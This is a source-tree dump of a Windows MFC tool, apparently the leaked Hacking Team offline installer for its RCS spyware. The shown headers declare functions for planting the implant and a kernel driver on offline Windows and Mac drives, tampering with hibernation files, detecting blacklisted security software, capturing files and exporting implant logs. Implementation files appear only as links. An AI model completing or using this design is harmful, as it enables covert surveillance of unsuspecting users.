├── OfflineInstall
├── ClassDiagram1.cd
├── user_identification.h
├── Functions_OS_MAC.h
├── Functions_OS_WIN.h
├── res
│ ├── icon1.ico
│ ├── icon2.ico
│ ├── icon3.ico
│ ├── admin-on.ico
│ ├── macos-on.bmp
│ ├── macos-on.ico
│ ├── rcs-ko.ico
│ ├── rcs-no.ico
│ ├── rcs-ok.ico
│ ├── user-off.ico
│ ├── user-on.ico
│ ├── admin-off.ico
│ ├── domain-on.ico
│ ├── macos-off.bmp
│ ├── macos-off.ico
│ ├── windows-on.bmp
│ ├── windows-on.ico
│ ├── windows-off.bmp
│ ├── windows-off.ico
│ ├── OfflineInstall.ico
│ └── OfflineInstall.rc2
├── Functions_Users_MAC.h
├── Functions_Users_WIN.h
├── OfflineInstall.aps
├── Functions_RCS_WIN.cpp
├── OfflineInstallDlg.cpp
├── Functions_Users_MAC.cpp
├── Functions_Users_WIN.cpp
├── OfflineInstall.vcxproj.user
├── DumpFiles.h
├── stdafx.cpp
├── Functions_RCS_WIN.h
├── Functions_RCS_MAC.h
├── OfflineInstall.h
├── commons.h
├── Functions_RCS.h
├── stdafx.h
├── targetver.h
├── Functions_OS.h
├── LogExport.h
├── OfflineInstall.vcproj.SP3.user1.user
├── OfflineInstall.vcproj.WYVERN.Marco.user
├── OfflineInstall.vcproj.6C57056418.Marco.user
├── Functions_Users.cpp
├── OfflineInstallDlg.h
├── OfflineInstall.cpp
├── resource.h
├── Functions_OS.cpp
├── aes_alg.h
├── Functions_OS_MAC.cpp
├── ReadMe.txt
├── Functions_Users.h
├── user_identification.cpp
├── OfflineInstall.rc
├── OfflineInstall.vcxproj.filters
├── commons.cpp
├── Functions_OS_WIN.cpp
├── DumpFiles.cpp
├── Functions_RCS_MAC.cpp
├── Functions_RCS.cpp
├── OfflineInstall.vcxproj
├── OfflineInstall.vcproj
├── LogExport.cpp
└── aes_alg.cpp
├── .gitignore
├── OfflineInstall.sln
└── UpgradeLog.XML
/OfflineInstall/ClassDiagram1.cd:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/OfflineInstall/user_identification.h:
--------------------------------------------------------------------------------
1 | extern WCHAR *GetUserHash(WCHAR *user_sid);
--------------------------------------------------------------------------------
/OfflineInstall/Functions_OS_MAC.h:
--------------------------------------------------------------------------------
1 | extern BOOL RecognizeMacOS(WCHAR *drive_letter, os_struct_t *os_struct);
--------------------------------------------------------------------------------
/OfflineInstall/Functions_OS_WIN.h:
--------------------------------------------------------------------------------
1 | extern BOOL RecognizeWindowsOS(WCHAR *drive_letter, os_struct_t *os_struct);
--------------------------------------------------------------------------------
/OfflineInstall/res/icon1.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackedteam/vector-offline/HEAD/OfflineInstall/res/icon1.ico
--------------------------------------------------------------------------------
/OfflineInstall/res/icon2.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackedteam/vector-offline/HEAD/OfflineInstall/res/icon2.ico
--------------------------------------------------------------------------------
/OfflineInstall/res/icon3.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackedteam/vector-offline/HEAD/OfflineInstall/res/icon3.ico
--------------------------------------------------------------------------------
/OfflineInstall/Functions_Users_MAC.h:
--------------------------------------------------------------------------------
1 | extern users_struct_t *MAC_GetUserList(os_struct_t *os_info, rcs_struct_t *rcs_info);
--------------------------------------------------------------------------------
/OfflineInstall/Functions_Users_WIN.h:
--------------------------------------------------------------------------------
1 | extern users_struct_t *WIN_GetUserList(os_struct_t *os_info, rcs_struct_t *rcs_info);
--------------------------------------------------------------------------------
/OfflineInstall/res/admin-on.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackedteam/vector-offline/HEAD/OfflineInstall/res/admin-on.ico
--------------------------------------------------------------------------------
/OfflineInstall/res/macos-on.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackedteam/vector-offline/HEAD/OfflineInstall/res/macos-on.bmp
--------------------------------------------------------------------------------
/OfflineInstall/res/macos-on.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackedteam/vector-offline/HEAD/OfflineInstall/res/macos-on.ico
--------------------------------------------------------------------------------
/OfflineInstall/res/rcs-ko.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackedteam/vector-offline/HEAD/OfflineInstall/res/rcs-ko.ico
--------------------------------------------------------------------------------
/OfflineInstall/res/rcs-no.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackedteam/vector-offline/HEAD/OfflineInstall/res/rcs-no.ico
--------------------------------------------------------------------------------
/OfflineInstall/res/rcs-ok.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackedteam/vector-offline/HEAD/OfflineInstall/res/rcs-ok.ico
--------------------------------------------------------------------------------
/OfflineInstall/res/user-off.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackedteam/vector-offline/HEAD/OfflineInstall/res/user-off.ico
--------------------------------------------------------------------------------
/OfflineInstall/res/user-on.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackedteam/vector-offline/HEAD/OfflineInstall/res/user-on.ico
--------------------------------------------------------------------------------
/OfflineInstall/OfflineInstall.aps:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackedteam/vector-offline/HEAD/OfflineInstall/OfflineInstall.aps
--------------------------------------------------------------------------------
/OfflineInstall/res/admin-off.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackedteam/vector-offline/HEAD/OfflineInstall/res/admin-off.ico
--------------------------------------------------------------------------------
/OfflineInstall/res/domain-on.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackedteam/vector-offline/HEAD/OfflineInstall/res/domain-on.ico
--------------------------------------------------------------------------------
/OfflineInstall/res/macos-off.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackedteam/vector-offline/HEAD/OfflineInstall/res/macos-off.bmp
--------------------------------------------------------------------------------
/OfflineInstall/res/macos-off.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackedteam/vector-offline/HEAD/OfflineInstall/res/macos-off.ico
--------------------------------------------------------------------------------
/OfflineInstall/res/windows-on.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackedteam/vector-offline/HEAD/OfflineInstall/res/windows-on.bmp
--------------------------------------------------------------------------------
/OfflineInstall/res/windows-on.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackedteam/vector-offline/HEAD/OfflineInstall/res/windows-on.ico
--------------------------------------------------------------------------------
/OfflineInstall/Functions_RCS_WIN.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackedteam/vector-offline/HEAD/OfflineInstall/Functions_RCS_WIN.cpp
--------------------------------------------------------------------------------
/OfflineInstall/OfflineInstallDlg.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackedteam/vector-offline/HEAD/OfflineInstall/OfflineInstallDlg.cpp
--------------------------------------------------------------------------------
/OfflineInstall/res/windows-off.bmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackedteam/vector-offline/HEAD/OfflineInstall/res/windows-off.bmp
--------------------------------------------------------------------------------
/OfflineInstall/res/windows-off.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackedteam/vector-offline/HEAD/OfflineInstall/res/windows-off.ico
--------------------------------------------------------------------------------
/OfflineInstall/Functions_Users_MAC.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackedteam/vector-offline/HEAD/OfflineInstall/Functions_Users_MAC.cpp
--------------------------------------------------------------------------------
/OfflineInstall/Functions_Users_WIN.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackedteam/vector-offline/HEAD/OfflineInstall/Functions_Users_WIN.cpp
--------------------------------------------------------------------------------
/OfflineInstall/res/OfflineInstall.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackedteam/vector-offline/HEAD/OfflineInstall/res/OfflineInstall.ico
--------------------------------------------------------------------------------
/OfflineInstall/OfflineInstall.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
--------------------------------------------------------------------------------
/OfflineInstall/DumpFiles.h:
--------------------------------------------------------------------------------
1 | extern WCHAR **PopulateMasks(WCHAR *patterns);
2 | extern void FreeMasks(WCHAR **masks);
3 | extern void ExploreDirectoryAndCapture(WCHAR *start_path, DWORD depth, WCHAR **masks, WCHAR *dest_dir);
4 |
5 |
--------------------------------------------------------------------------------
/OfflineInstall/stdafx.cpp:
--------------------------------------------------------------------------------
1 | // stdafx.cpp : source file that includes just the standard includes
2 | // OfflineInstall.pch will be the pre-compiled header
3 | // stdafx.obj will contain the pre-compiled type information
4 |
5 | #include "stdafx.h"
6 |
7 |
8 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | *.cer
2 | *.zip
3 | *.obj
4 | *.dll
5 | *.exe
6 | *.tlog
7 | *.ncb
8 | *.suo
9 | *.lib
10 | *.res
11 | *.pdb
12 | *.tlh
13 | *.tli
14 | *.opensdf
15 | *.manifest
16 | *.exp
17 | *.lastbuildstate
18 | *.sdf
19 | *.log
20 | *.ipch
21 | *.pch
22 | *.aps
23 | *manifest.rc
24 | *.idb
25 | *.unsuccessfulbuild
26 | Thumbs.db
27 | *BuildLog.htm
--------------------------------------------------------------------------------
/OfflineInstall/res/OfflineInstall.rc2:
--------------------------------------------------------------------------------
1 | //
2 | // OfflineInstall.RC2 - resources Microsoft Visual C++ does not edit directly
3 | //
4 |
5 | #ifdef APSTUDIO_INVOKED
6 | #error this file is not editable by Microsoft Visual C++
7 | #endif //APSTUDIO_INVOKED
8 |
9 |
10 | /////////////////////////////////////////////////////////////////////////////
11 | // Add manually edited resources here...
12 |
13 | /////////////////////////////////////////////////////////////////////////////
14 |
--------------------------------------------------------------------------------
/OfflineInstall/Functions_RCS_WIN.h:
--------------------------------------------------------------------------------
1 | extern BOOL WIN_RCSInstall(rcs_struct_t *rcs_info, users_struct_t *user_info, os_struct_t *os_info);
2 | extern BOOL WIN_RCSUnInstall(rcs_struct_t *rcs_info, users_struct_t *user_info, os_struct_t *os_info);
3 | extern BOOL WIN_DriverInstall(os_struct_t *os_info, rcs_struct_t *rcs_info, users_struct_t *user_list);
4 | extern BOOL WIN_DriverUnInstall(os_struct_t *os_info, rcs_struct_t *rcs_info, users_struct_t *user_list, DWORD installation_count);
5 | extern void WIN_GetSourceFileDirectory(users_struct_t *curr_user, rcs_struct_t *rcs_info, WCHAR *src_path);
6 |
--------------------------------------------------------------------------------
/OfflineInstall/Functions_RCS_MAC.h:
--------------------------------------------------------------------------------
1 | extern BOOL MAC_RCSInstall(rcs_struct_t *rcs_info, users_struct_t *user_info, os_struct_t *os_info);
2 | extern BOOL MAC_RCSUnInstall(rcs_struct_t *rcs_info, users_struct_t *user_info, os_struct_t *os_info);
3 | extern BOOL MAC_DriverInstall(os_struct_t *os_info, rcs_struct_t *rcs_info, users_struct_t *user_list);
4 | extern BOOL MAC_DriverUnInstall(os_struct_t *os_info, rcs_struct_t *rcs_info, users_struct_t *user_list, DWORD installation_count);
5 | extern void MAC_GetSourceFileDirectory(users_struct_t *curr_user, rcs_struct_t *rcs_info, os_struct_t *os_info, WCHAR *src_path);
6 |
--------------------------------------------------------------------------------
/OfflineInstall/OfflineInstall.h:
--------------------------------------------------------------------------------
1 | // OfflineInstall.h : main header file for the PROJECT_NAME application
2 | //
3 |
4 | #pragma once
5 |
6 | #ifndef __AFXWIN_H__
7 | #error "include 'stdafx.h' before including this file for PCH"
8 | #endif
9 |
10 | #include "resource.h" // main symbols
11 |
12 |
13 | // COfflineInstallApp:
14 | // See OfflineInstall.cpp for the implementation of this class
15 | //
16 |
17 | class COfflineInstallApp : public CWinApp
18 | {
19 | public:
20 | COfflineInstallApp();
21 |
22 | // Overrides
23 | public:
24 | virtual BOOL InitInstance();
25 |
26 | // Implementation
27 |
28 | DECLARE_MESSAGE_MAP()
29 | };
30 |
31 | extern COfflineInstallApp theApp;
--------------------------------------------------------------------------------
/OfflineInstall/commons.h:
--------------------------------------------------------------------------------
1 | #define SAFE_FREE(x) if(x) {free(x); x=NULL;}
2 | #define LOOP for(;;)
3 |
4 | extern void GeneralInit();
5 | extern void ReadRegValue(WCHAR *subkey, WCHAR *value, DWORD *type, WCHAR **buffer);
6 | extern BOOL RegEnumSubKey(WCHAR *subkey, DWORD index, WCHAR **buffer);
7 | extern void SetPrivilege(LPCWSTR privilege);
8 | extern WCHAR *FindRCSPath(void);
9 | extern WCHAR *GetValueForKey(WCHAR *file_path, char *key_name, DWORD n_entry);
10 | extern WCHAR *SlashToBackSlash(WCHAR *string);
11 | extern void ClearAttributes(WCHAR *fname);
12 | extern BOOL DeleteDirectory(WCHAR *dir_path);
13 | extern DWORD AddAceToObjectsSecurityDescriptor (LPTSTR, SE_OBJECT_TYPE, LPTSTR, TRUSTEE_FORM, DWORD, ACCESS_MODE, DWORD);
14 | extern int CmpWildW(WCHAR *wild, WCHAR *string);
15 | extern WCHAR *UTF8_2_UTF16(char *str);
16 |
17 |
--------------------------------------------------------------------------------
/OfflineInstall.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 11.00
3 | # Visual Studio 2010
4 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "OfflineInstall", "OfflineInstall\OfflineInstall.vcxproj", "{FE5B0F7D-611B-4241-848C-E1FCE92B5B63}"
5 | EndProject
6 | Global
7 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
8 | Debug|Win32 = Debug|Win32
9 | Release|Win32 = Release|Win32
10 | EndGlobalSection
11 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
12 | {FE5B0F7D-611B-4241-848C-E1FCE92B5B63}.Debug|Win32.ActiveCfg = Debug|Win32
13 | {FE5B0F7D-611B-4241-848C-E1FCE92B5B63}.Debug|Win32.Build.0 = Debug|Win32
14 | {FE5B0F7D-611B-4241-848C-E1FCE92B5B63}.Release|Win32.ActiveCfg = Release|Win32
15 | {FE5B0F7D-611B-4241-848C-E1FCE92B5B63}.Release|Win32.Build.0 = Release|Win32
16 | EndGlobalSection
17 | GlobalSection(SolutionProperties) = preSolution
18 | HideSolutionNode = FALSE
19 | EndGlobalSection
20 | EndGlobal
21 |
--------------------------------------------------------------------------------
/OfflineInstall/Functions_RCS.h:
--------------------------------------------------------------------------------
1 | extern BOOL ReadRCSInfo(rcs_struct_t *rcs_info);
2 | extern BOOL RCSInstall(rcs_struct_t *rcs_info, users_struct_t *user_info, os_struct_t *os_info);
3 | extern BOOL GetSourceFileDirectory(users_struct_t *curr_user, os_struct_t *curr_elem, rcs_struct_t *rcs_info, WCHAR *src_path);
4 | extern BOOL RCSUnInstall(rcs_struct_t *rcs_info, users_struct_t *user_info, os_struct_t *os_info);
5 | extern BOOL DriverUnInstall(os_struct_t *os_info, rcs_struct_t *rcs_info, users_struct_t *user_list, DWORD installation_count);
6 | extern BOOL DriverInstall(os_struct_t *os_info, rcs_struct_t *rcs_info, users_struct_t *user_list);
7 | extern void InvalidateHybernated(os_struct_t *os_info);
8 | extern BOOL IsHybernated(os_struct_t *os_info);
9 | extern void RestoreHybernationPermissions(os_struct_t *os_info);
10 | extern void ModifyHybernationPermissions(os_struct_t *os_info);
11 | extern DWORD IsDangerousString(WCHAR *, os_struct_t *os_info);
12 | #define BL_BLACKLISTED 0
13 | #define BL_SAFE 1
14 | #define BL_ALLOWSOLDIER 2
15 |
16 |
--------------------------------------------------------------------------------
/OfflineInstall/stdafx.h:
--------------------------------------------------------------------------------
1 | // stdafx.h : include file for standard system include files,
2 | // or project specific include files that are used frequently,
3 | // but are changed infrequently
4 |
5 | #pragma once
6 |
7 | #ifndef _SECURE_ATL
8 | #define _SECURE_ATL 1
9 | #endif
10 |
11 | #ifndef VC_EXTRALEAN
12 | #define VC_EXTRALEAN // Exclude rarely-used stuff from Windows headers
13 | #endif
14 |
15 | #include "targetver.h"
16 |
17 | #define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // some CString constructors will be explicit
18 |
19 | // turns off MFC's hiding of some common and often safely ignored warning messages
20 | #define _AFX_ALL_WARNINGS
21 |
22 | #include // MFC core and standard components
23 | #include // MFC extensions
24 |
25 |
26 |
27 |
28 |
29 | #ifndef _AFX_NO_OLE_SUPPORT
30 | #include // MFC support for Internet Explorer 4 Common Controls
31 | #endif
32 | #ifndef _AFX_NO_AFXCMN_SUPPORT
33 | #include // MFC support for Windows Common Controls
34 | #endif // _AFX_NO_AFXCMN_SUPPORT
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
--------------------------------------------------------------------------------
/UpgradeLog.XML:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/OfflineInstall/targetver.h:
--------------------------------------------------------------------------------
1 |
2 | #pragma once
3 |
4 | // The following macros define the minimum required platform. The minimum required platform
5 | // is the earliest version of Windows, Internet Explorer etc. that has the necessary features to run
6 | // your application. The macros work by enabling all features available on platform versions up to and
7 | // including the version specified.
8 |
9 | // Modify the following defines if you have to target a platform prior to the ones specified below.
10 | // Refer to MSDN for the latest info on corresponding values for different platforms.
11 | #ifndef WINVER // Specifies that the minimum required platform is Windows Vista.
12 | #define WINVER 0x0600 // Change this to the appropriate value to target other versions of Windows.
13 | #endif
14 |
15 | #ifndef _WIN32_WINNT // Specifies that the minimum required platform is Windows Vista.
16 | #define _WIN32_WINNT 0x0600 // Change this to the appropriate value to target other versions of Windows.
17 | #endif
18 |
19 | #ifndef _WIN32_WINDOWS // Specifies that the minimum required platform is Windows 98.
20 | #define _WIN32_WINDOWS 0x0410 // Change this to the appropriate value to target Windows Me or later.
21 | #endif
22 |
23 | #ifndef _WIN32_IE // Specifies that the minimum required platform is Internet Explorer 7.0.
24 | #define _WIN32_IE 0x0700 // Change this to the appropriate value to target other versions of IE.
25 | #endif
26 |
27 |
--------------------------------------------------------------------------------
/OfflineInstall/Functions_OS.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #define WIN_OS 1
4 | #define MAC_OS 2
5 |
6 | typedef struct os_struct {
7 | WCHAR drive[4];
8 | WCHAR system_root[MAX_PATH];
9 | WCHAR *product_type; // HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\ProductOptions\ProductType
10 | WCHAR *computer_name; // HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\ComputerName\ComputerName\ComputerName
11 | WCHAR *product_name; // HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductName
12 | WCHAR *csd_version; // HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CSDVersion
13 | WCHAR *reg_owner; // HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner
14 | WCHAR *reg_org; // HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization
15 | WCHAR *curr_ver; // HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentVersion
16 | SYSTEMTIME install_date; // HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\InstallDate
17 | WCHAR *product_id; // HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId
18 | DWORD os;
19 | DWORD arch;
20 | BOOL is_supported;
21 | DWORD is_blacklisted;
22 | WCHAR bl_software[256];
23 | DWORD time_bias; // HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\TimeZoneInformation\ActiveTimeBias
24 |
25 | DWORD list_index;
26 |
27 | struct os_struct *next;
28 | } os_struct_t;
29 |
30 | extern os_struct_t *GetOSList();
31 | extern DWORD GetOsImage(os_struct_t *os_info, BOOL is_large_icon);
--------------------------------------------------------------------------------
/OfflineInstall/LogExport.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #include "afxcmn.h"
3 | #include "Functions_Users.h"
4 | #include "commons.h"
5 |
6 | // LogExport dialog
7 |
8 | class LogExport : public CDialog
9 | {
10 | DECLARE_DYNAMIC(LogExport)
11 |
12 | public:
13 | LogExport(CWnd* pParent = NULL); // standard constructor
14 | BOOL Export(rcs_struct_t *rcs_info, DWORD time_bias, WCHAR *user_name, WCHAR *user_hash, WCHAR *computer_name, WCHAR *src_path, WCHAR *dest_drive, DWORD os_type, DWORD arch_type);
15 | BOOL Dump(rcs_struct_t *rcs_info, DWORD time_bias, WCHAR *user_name, WCHAR *user_hash, WCHAR *computer_name, WCHAR *src_path, WCHAR *dest_drive, DWORD os_type, DWORD arch_type);
16 | BOOL OfflineRetrieve();
17 | BOOL m_success;
18 | virtual ~LogExport();
19 |
20 | // Dialog Data
21 | enum { IDD = IDD_DIALOGBAR };
22 |
23 | protected:
24 | virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
25 |
26 | private:
27 | void PrepareIniFile(WCHAR *fname);
28 | char *LOG_ScrambleName(char *string, BYTE scramble, BOOL crypt);
29 | char *LOG_ScrambleName2(char *string, BYTE scramble, BOOL crypt);
30 | afx_msg LRESULT OnThreadEnd(WPARAM wParam, LPARAM lParam);
31 | rcs_struct_t m_rcs_info;
32 |
33 | DWORD m_time_bias;
34 | DWORD m_os_type;
35 | DWORD m_arch_type;
36 |
37 | WCHAR *m_user_name;
38 | WCHAR *m_computer_name;
39 | WCHAR *m_src_path;
40 | WCHAR *m_dest_drive;
41 | WCHAR *m_user_hash;
42 | DECLARE_MESSAGE_MAP()
43 | public:
44 | virtual BOOL OnInitDialog();
45 | CProgressCtrl m_progress;
46 | protected:
47 | CString m_progress_text;
48 | };
49 |
--------------------------------------------------------------------------------
/OfflineInstall/OfflineInstall.vcproj.SP3.user1.user:
--------------------------------------------------------------------------------
1 |
2 |
7 |
8 |
11 |
35 |
36 |
39 |
63 |
64 |
65 |
66 |
--------------------------------------------------------------------------------
/OfflineInstall/OfflineInstall.vcproj.WYVERN.Marco.user:
--------------------------------------------------------------------------------
1 |
2 |
7 |
8 |
11 |
35 |
36 |
39 |
63 |
64 |
65 |
66 |
--------------------------------------------------------------------------------
/OfflineInstall/OfflineInstall.vcproj.6C57056418.Marco.user:
--------------------------------------------------------------------------------
1 |
2 |
7 |
8 |
11 |
35 |
36 |
39 |
63 |
64 |
65 |
66 |
--------------------------------------------------------------------------------
/OfflineInstall/Functions_Users.cpp:
--------------------------------------------------------------------------------
1 | #include "stdafx.h"
2 | #include "Functions_Users.h"
3 | #include "Functions_Users_WIN.h"
4 | #include "Functions_Users_MAC.h"
5 | #include "commons.h"
6 |
7 | users_struct_t *GetUserList(os_struct_t *os_info, rcs_struct_t *rcs_info)
8 | {
9 | if (os_info->os == WIN_OS)
10 | return WIN_GetUserList(os_info, rcs_info);
11 | else if (os_info->os == MAC_OS)
12 | return MAC_GetUserList(os_info, rcs_info);
13 | else
14 | return NULL;
15 | }
16 |
17 | DWORD GetUserRCSStateImg(users_struct_t *user_info)
18 | {
19 | if (user_info->rcs_status == RCS_INSTALLED)
20 | return 8;
21 |
22 | if (user_info->rcs_status == RCS_BROKEN)
23 | return 9;
24 |
25 | //if (user_info->rcs_status == RCS_CLEAN)
26 | return 10;
27 | }
28 |
29 |
30 | DWORD GetUserPrivImg(users_struct_t *user_info)
31 | {
32 | if (!user_info->is_local)
33 | return 6;
34 |
35 | if (user_info->is_admin) {
36 | if (user_info->is_disabled)
37 | return 0;
38 | else
39 | return 1;
40 | } else {
41 | if (user_info->is_disabled)
42 | return 2;
43 | else
44 | return 3;
45 | }
46 | }
47 |
48 | users_struct_t *FindUser(DWORD index, users_struct_t *list_head)
49 | {
50 | for(; list_head; list_head=list_head->next)
51 | if (list_head->list_index == index)
52 | break;
53 | return list_head;
54 | }
55 |
56 | void FreeUsersList(users_struct_t *list_head)
57 | {
58 | users_struct_t *next;
59 |
60 | while(list_head) {
61 | next = list_head->next;
62 |
63 | SAFE_FREE(list_head->user_name);
64 | SAFE_FREE(list_head->full_name);
65 | SAFE_FREE(list_head->desc);
66 | SAFE_FREE(list_head->user_temp);
67 | SAFE_FREE(list_head->user_local_settings);
68 | SAFE_FREE(list_head->user_home);
69 | SAFE_FREE(list_head->user_hash);
70 | SAFE_FREE(list_head->user_startup);
71 |
72 | SAFE_FREE(list_head);
73 | list_head = next;
74 | }
75 | }
76 |
77 |
--------------------------------------------------------------------------------
/OfflineInstall/OfflineInstallDlg.h:
--------------------------------------------------------------------------------
1 | // OfflineInstallDlg.h : header file
2 | //
3 |
4 | #pragma once
5 |
6 | #include "Functions_OS.h"
7 | #include "Functions_Users.h"
8 |
9 | #include "afxcmn.h"
10 | #include "afxwin.h"
11 |
12 | #define MAX_OS_COUNT 4
13 |
14 | // COfflineInstallDlg dialog
15 | class COfflineInstallDlg : public CDialog
16 | {
17 | // Construction
18 | public:
19 | COfflineInstallDlg(CWnd* pParent = NULL); // standard constructor
20 |
21 | // Dialog Data
22 | enum { IDD = IDD_OFFLINEINSTALL_DIALOG };
23 |
24 | protected:
25 | virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
26 |
27 |
28 | // Implementation
29 | protected:
30 | HICON m_hIcon;
31 |
32 | // Generated message map functions
33 | virtual BOOL OnInitDialog();
34 | afx_msg void OnPaint();
35 | afx_msg HCURSOR OnQueryDragIcon();
36 | DECLARE_MESSAGE_MAP()
37 | public:
38 | afx_msg void OnNMCustomdrawProgress1(NMHDR *pNMHDR, LRESULT *pResult);
39 |
40 | private:
41 | os_struct_t *os_list_head;
42 | users_struct_t *users_list_head;
43 | HCURSOR m_waitcursor;
44 | HCURSOR m_stdcursor;
45 | HBITMAP bit_supp[MAX_OS_COUNT], bit_unsupp[MAX_OS_COUNT];
46 | WCHAR *m_rcs_path;
47 | rcs_struct_t m_rcs_info;
48 |
49 | public:
50 | afx_msg void OnBnClickedButton3();
51 | CComboBoxEx m_oslist;
52 | afx_msg void OnCbnSelchangeComboboxex3();
53 | CString m_osinfo;
54 | afx_msg void OnBnClickedOk();
55 | CListCtrl m_user_list;
56 | afx_msg void OnBnClickedCancel();
57 | afx_msg void OnNMRClickList3(NMHDR *pNMHDR, LRESULT *pResult);
58 | CButton m_install_button;
59 | CButton m_uninstall_button;
60 | afx_msg void OnBnClickedButton1();
61 | CStatic m_bitmap;
62 | afx_msg void OnBnClickedButton2();
63 | BOOL m_install_kernel;
64 | afx_msg void OnBnClickedButton4();
65 | CButton m_export_button;
66 | CButton m_install_kernel_button;
67 | afx_msg void OnBnClickedButton5();
68 | };
69 |
--------------------------------------------------------------------------------
/OfflineInstall/OfflineInstall.cpp:
--------------------------------------------------------------------------------
1 | // OfflineInstall.cpp : Defines the class behaviors for the application.
2 | //
3 |
4 | #include "stdafx.h"
5 | #include "OfflineInstall.h"
6 | #include "OfflineInstallDlg.h"
7 |
8 | #ifdef _DEBUG
9 | #define new DEBUG_NEW
10 | #endif
11 |
12 |
13 | // COfflineInstallApp
14 |
15 | BEGIN_MESSAGE_MAP(COfflineInstallApp, CWinApp)
16 | ON_COMMAND(ID_HELP, &CWinApp::OnHelp)
17 | END_MESSAGE_MAP()
18 |
19 |
20 | // COfflineInstallApp construction
21 |
22 | COfflineInstallApp::COfflineInstallApp()
23 | {
24 | // TODO: add construction code here,
25 | // Place all significant initialization in InitInstance
26 | }
27 |
28 |
29 | // The one and only COfflineInstallApp object
30 |
31 | COfflineInstallApp theApp;
32 |
33 |
34 | // COfflineInstallApp initialization
35 |
36 | BOOL COfflineInstallApp::InitInstance()
37 | {
38 | CWinApp::InitInstance();
39 |
40 | // Standard initialization
41 | // If you are not using these features and wish to reduce the size
42 | // of your final executable, you should remove from the following
43 | // the specific initialization routines you do not need
44 | // Change the registry key under which our settings are stored
45 | // TODO: You should modify this string to be something appropriate
46 | // such as the name of your company or organization
47 | SetRegistryKey(_T("Local AppWizard-Generated Applications"));
48 |
49 | COfflineInstallDlg dlg;
50 | m_pMainWnd = &dlg;
51 | INT_PTR nResponse = dlg.DoModal();
52 | if (nResponse == IDOK)
53 | {
54 | // TODO: Place code here to handle when the dialog is
55 | // dismissed with OK
56 | }
57 | else if (nResponse == IDCANCEL)
58 | {
59 | // TODO: Place code here to handle when the dialog is
60 | // dismissed with Cancel
61 | }
62 |
63 | // Since the dialog has been closed, return FALSE so that we exit the
64 | // application, rather than start the application's message pump.
65 | return FALSE;
66 | }
67 |
--------------------------------------------------------------------------------
/OfflineInstall/resource.h:
--------------------------------------------------------------------------------
1 | //{{NO_DEPENDENCIES}}
2 | // Microsoft Visual C++ generated include file.
3 | // Used by OfflineInstall.rc
4 | //
5 | #define IDD_OFFLINEINSTALL_DIALOG 102
6 | #define IDD_DIALOGBAR 103
7 | #define IDR_MAINFRAME 128
8 | #define IDR_MENU1 131
9 | #define IDI_ICON3 133
10 | #define IDI_ICON4 134
11 | #define IDI_ICON5 135
12 | #define IDI_ICON6 136
13 | #define IDI_ICON8 150
14 | #define IDI_ICON9 151
15 | #define IDI_ICON10 152
16 | #define IDB_BITMAP1 153
17 | #define IDB_BITMAP2 154
18 | #define IDI_ICON1 156
19 | #define IDI_ICON2 157
20 | #define IDI_ICON7 158
21 | #define IDB_BITMAP3 163
22 | #define IDB_BITMAP4 164
23 | #define IDI_ICON11 165
24 | #define IDI_ICON12 166
25 | #define IDC_LIST3 1007
26 | #define IDC_COMBOBOXEX3 1010
27 | #define IDC_BUTTON1 1012
28 | #define IDC_BUTTON2 1013
29 | #define IDC_BUTTON3 1014
